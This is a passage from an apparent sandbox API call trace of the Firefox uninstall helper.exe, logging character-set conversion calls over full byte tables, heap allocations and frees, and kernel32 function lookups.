dc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xc09c\x31\x100", cchWideChar=256, lpMultiByteStr=0x18ee84, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x01", lpUsedDefaultChar=0x0) returned 256 [0118.522] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18ef84, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0118.523] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18ef84, cbMultiByte=256, lpWideCharStr=0x18e8e4, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ삜1Ā") returned 256 [0118.523] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ삜1Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0118.523] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ삜1Ā", cchSrc=256, lpDestStr=0x18e6e4, cchDest=256 | out: lpDestStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x20ac\x81\x201a\x191\x201e\x2026\x2020\x2021\x2c6\x2030\x160\x2039\x152\x8d\x17d\x8f\x90\x2018\x2019\x201c\x201d\x2022\x2013\x2014\x2dc\x2122\x160\x203a\x152\x9d\x17d\x178\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x178\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x20ac\x81\x201a\x192\x201e\x2026\x2020\x2021\x2c6\x2030\x160\x2039\x152\x8d\x17d\x8f\x90\x2018\x2019\x201c\x201d\x2022\x2013\x2014\x2dc\x2122\x161\x203a\x153\x9d\x17e\x178\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xc09c\x31\x100") returned 256 [0118.523] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x220, lpWideCharStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x20ac\x81\x201a\x191\x201e\x2026\x2020\x2021\x2c6\x2030\x160\x2039\x152\x8d\x17d\x8f\x90\x2018\x2019\x201c\x201d\x2022\x2013\x2014\x2dc\x2122\x160\x203a\x152\x9d\x17d\x178\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x178\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x20ac\x81\x201a\x192\x201e\x2026\x2020\x2021\x2c6\x2030\x160\x2039\x152\x8d\x17d\x8f\x90\x2018\x2019\x201c\x201d\x2022\x2013\x2014\x2dc\x2122\x161\x203a\x153\x9d\x17e\x178\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xc09c\x31\x100", cchWideChar=256, lpMultiByteStr=0x18ed84, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x01", lpUsedDefaultChar=0x0) returned 256 [0118.523] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x31bd60, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall\\helper.exe")) returned 0x3b [0118.523] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x60) returned 0x28c13c0 [0118.523] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0xb0) returned 0x28c1428 [0118.523] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x20) returned 0x28c14e0 [0118.523] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x30) returned 0x28c1508 [0118.523] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x40) returned 0x28c1540 [0118.523] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x40) returned 0x28c1588 [0118.523] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x40) returned 0x28c15d0 [0118.523] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x20) returned 0x28c1618 [0118.523] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x30) returned 0x28c1640 [0118.523] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x20) returned 0x28c1678 [0118.523] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x10) returned 0x28c16a0 [0118.523] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x20) returned 0x28c16b8 [0118.523] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x30) returned 0x28c16e0 [0118.523] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x20) returned 0x28c1718 [0118.523] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x70) returned 0x28c1740 [0118.523] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x60) returned 0x28c17b8 [0118.523] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x70) returned 0x28c1820 [0118.523] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x20) returned 0x28c1898 [0118.523] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x30) returned 0x28c18c0 [0118.523] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x10) returned 0x28c18f8 [0118.523] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x90) returned 0x28c1910 [0118.523] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x40) returned 0x28c19a8 [0118.523] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x20) returned 0x28c19f0 [0118.523] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x20) returned 0x28c1a18 [0118.523] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x50) returned 0x28c1a40 [0118.523] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x20) returned 0x28c1a98 [0118.523] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x20) returned 0x28c1ac0 [0118.523] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x20) returned 0x28c1ae8 [0118.523] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x30) returned 0x28c1b10 [0118.523] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x30) returned 0x28c1b48 [0118.523] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x20) returned 0x28c1b80 [0118.523] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x50) returned 0x28c1ba8 [0118.523] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x20) returned 0x28c1c00 [0118.523] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x20) returned 0x28c1c28 [0118.524] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x10) returned 0x28c1c50 [0118.524] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x20) returned 0x28c1c68 [0118.524] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x30) returned 0x28c1c90 [0118.524] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x30) returned 0x28c1cc8 [0118.524] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x20) returned 0x28c1d00 [0118.524] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x20) returned 0x28cc590 [0118.524] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x20) returned 0x28cc5d0 [0118.525] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x20) returned 0x28cc5f8 [0118.525] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x20) returned 0x28cc620 [0118.525] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x50) returned 0x28cd1b8 [0118.525] HeapFree (in: hHeap=0x28c0000, dwFlags=0x0, lpMem=0x28c0858 | out: hHeap=0x28c0000) returned 1 [0118.525] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x8, Size=0x800) returned 0x28cd210 [0118.525] GetCityHash64 () returned 0x40a0e0 [0118.525] lstrcpynW (in: lpString1=0x18ebd0, lpString2="C:\\Program Files (x86)\\Mozilla Firefox", iMaxLength=1024 | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0118.525] lstrcpynW (in: lpString1=0x673b84, lpString2="E7CF176E110C211B", iMaxLength=17 | out: lpString1="E7CF176E110C211B") returned="E7CF176E110C211B" [0118.525] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x20) returned 0x28cc648 [0118.526] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x20) returned 0x28cc670 [0118.526] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x20) returned 0x28cc698 [0118.526] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x20) returned 0x28cc6c0 [0118.526] HeapFree (in: hHeap=0x28c0000, dwFlags=0x0, lpMem=0x28c0f10 | out: hHeap=0x28c0000) returned 1 [0118.526] HeapFree (in: hHeap=0x28c0000, dwFlags=0x0, lpMem=0x28cc648 | out: hHeap=0x28c0000) returned 1 [0118.526] HeapFree (in: hHeap=0x28c0000, dwFlags=0x0, lpMem=0x28c1398 | out: hHeap=0x28c0000) returned 1 [0118.526] HeapFree (in: hHeap=0x28c0000, dwFlags=0x0, lpMem=0x28cc670 | out: hHeap=0x28c0000) returned 1 [0118.526] HeapFree (in: hHeap=0x28c0000, dwFlags=0x0, lpMem=0x28cc698 | out: hHeap=0x28c0000) returned 1 [0118.526] HeapFree (in: hHeap=0x28c0000, dwFlags=0x0, lpMem=0x28cc6c0 | out: hHeap=0x28c0000) returned 1 [0118.526] HeapDestroy (hHeap=0x28c0000) returned 1 [0118.534] Call () returned 0x0 [0118.534] lstrcpyW (in: lpString1=0x69a360, lpString2="kernel32::GetLongPathNameW(w R8, w .R7, i 1024)i .R6" | out: lpString1="kernel32::GetLongPathNameW(w R8, w .R7, i 1024)i .R6") returned="kernel32::GetLongPathNameW(w R8, w .R7, i 1024)i .R6" [0118.535] lstrcpyW (in: lpString1=0x696350, lpString2="kernel32" | out: lpString1="kernel32") returned="kernel32" [0118.535] lstrcpyW (in: lpString1=0x68e330, lpString2="kernel32" | out: lpString1="kernel32") returned="kernel32" [0118.535] lstrcpyW (in: lpString1=0x68eb30, lpString2="GetLongPathNameW" | out: lpString1="GetLongPathNameW") returned="GetLongPathNameW" [0118.536] GetModuleHandleW (lpModuleName="kernel32") returned 0x769e0000 [0118.536] lstrcmpiW (lpString1="kernel32", lpString2="kernel32") returned 0 [0118.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetLongPathNameW", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0118.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetLongPathNameW", cchWideChar=-1, lpMultiByteStr=0x63a0e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetLongPathNameW", lpUsedDefaultChar=0x0) returned 17 [0118.536] GetProcAddress (hModule=0x769e0000, lpProcName="GetLongPathNameW") returned 0x769fa315 [0118.536] lstrcpyW (in: lpString1=0x68ffd8, lpString2="C:\\Program Files (x86)\\Mozilla Firefox" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0118.536] lstrcpynW (in: lpString1=0x693fe8, lpString2="C:\\Program Files (x86)\\Mozilla Firefox", iMaxLength=8196 | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla 